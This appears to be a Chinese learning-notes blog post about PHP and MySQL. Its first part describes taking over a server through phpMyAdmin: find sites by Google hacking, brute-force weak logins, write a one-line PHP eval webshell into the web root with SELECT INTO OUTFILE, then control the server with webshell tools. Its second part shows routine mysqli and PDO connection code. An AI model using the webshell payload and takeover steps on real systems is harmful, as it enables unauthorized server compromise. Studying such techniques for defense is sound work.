zoukankan      html  css  js  c++  java
  • 10.11php+mysql

    首次从数据库中导出文件,数据库会执行__secure-file-priv”安全机制,会限制我们导出文件。查看该安全项的值:show global variables like ‘%secure-file-priv%’

    Secure-file-priv null时 表示mysql限制导入导出

    Secure-file-priv 没有值 表示mysql不限制导入导出

    Secure-file-priv=/tmp 表示只能在/tmp目录下导入导出

    △修改该安全选项

    临时方法:set global secure-file-priv=’ ’;

    注意:variable ‘secure_file_priv’ is a read only variable 表示不能通过sql语句修改

    长久方法:修改配置文件

    在配置文件中找到[mysqld],后面添加secure-file-priv=’ ’

    通过phpmyadmin 获取服务器权限(getshell)

    step1:通过google hacking phpmyadmin网站

    step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

    step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马

    select "<?php @eval($_POST[_]);?>" into outfile "D:\phpstudy_pro\www\evil.php";

    select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法

    step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;

    step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器

    PHP+MYSQL

    PHP 操作mysql 数据库

    (1) 使用mysqli扩展(推荐),只针对mysql数据库

    面向对象的方式

    直接方法(面向过程);

    (2)使用mysql扩展(php<=5.5)

    (3)使用pdo ,支持12种数据库

    三种数据库的连接释放.php(分别取消注释使用)

    <?php

    header("Content-type:text/html;charset:utf-8");

    $ser="127.0.0.1";

    $name="root";

    $pwd="roo";

    /*m面向对象*/

    /*

    $conn=new mysqli($ser,$name,$pwd);

    if($conn->connect_error){

    die("连接失败:".$conn->connect_error);

    }

    echo "数据库连接成功!";

    $conn->close();

    */

    /*面向过程*/

    /*

    $conn=mysqli_connect($ser,$name,$pwd);

    if($conn){ //mysqli连接成功返回true,没有连接成功返回false;

    echo mysqli_connect_error();

    }

    echo "连接成功";

    var_dump($conn);

    mysqli_close($conn);

    */

    /*pdo*/

    /*

    try{

    $conn=new pdo("mysql:host=$ser;",$name,$pwd);

    echo "成功!";

    }

    catch(PDOException $ee){

    echo $ee-> getMessage();

    }

    $conn=null;

    */

    通过phpinfo()查看当前环境中有没有mysqlipdo的扩展

    Mysqli_connect(ip:port,name,pwd,db)连接数据库

    $result=mysqli_query(连接,sql语句)

    Mysqli_num_rows($result) 查询记录数

    Mysqli_fetch_assoc($result) 执行之后的结果将第一行转换为关联数组

    Mysqli_fetch_all($result)将结果所有行转换为关联数组和数字数组

    Mysqli_fetch_array()将结果第一行转换为关联数组和数字数组

  • 相关阅读:
    C#创建Windows Service(Windows 服务)基础教程
    c#写windows服务
    怎么样快速学习AngularJS?
    Web API 安全问题
    ASP.NET Web API身份验证和授权
    通过HttpClient来调用Web Api接口~续~实体参数的传递
    在WebApi中实现Cors访问
    SQL Server 动态生成数据库所有表Insert语句
    EasyUI combobox
    Linq使用Group By 1
  • 原文地址:https://www.cnblogs.com/x98339/p/11655014.html
Copyright © 2011-2022 走看看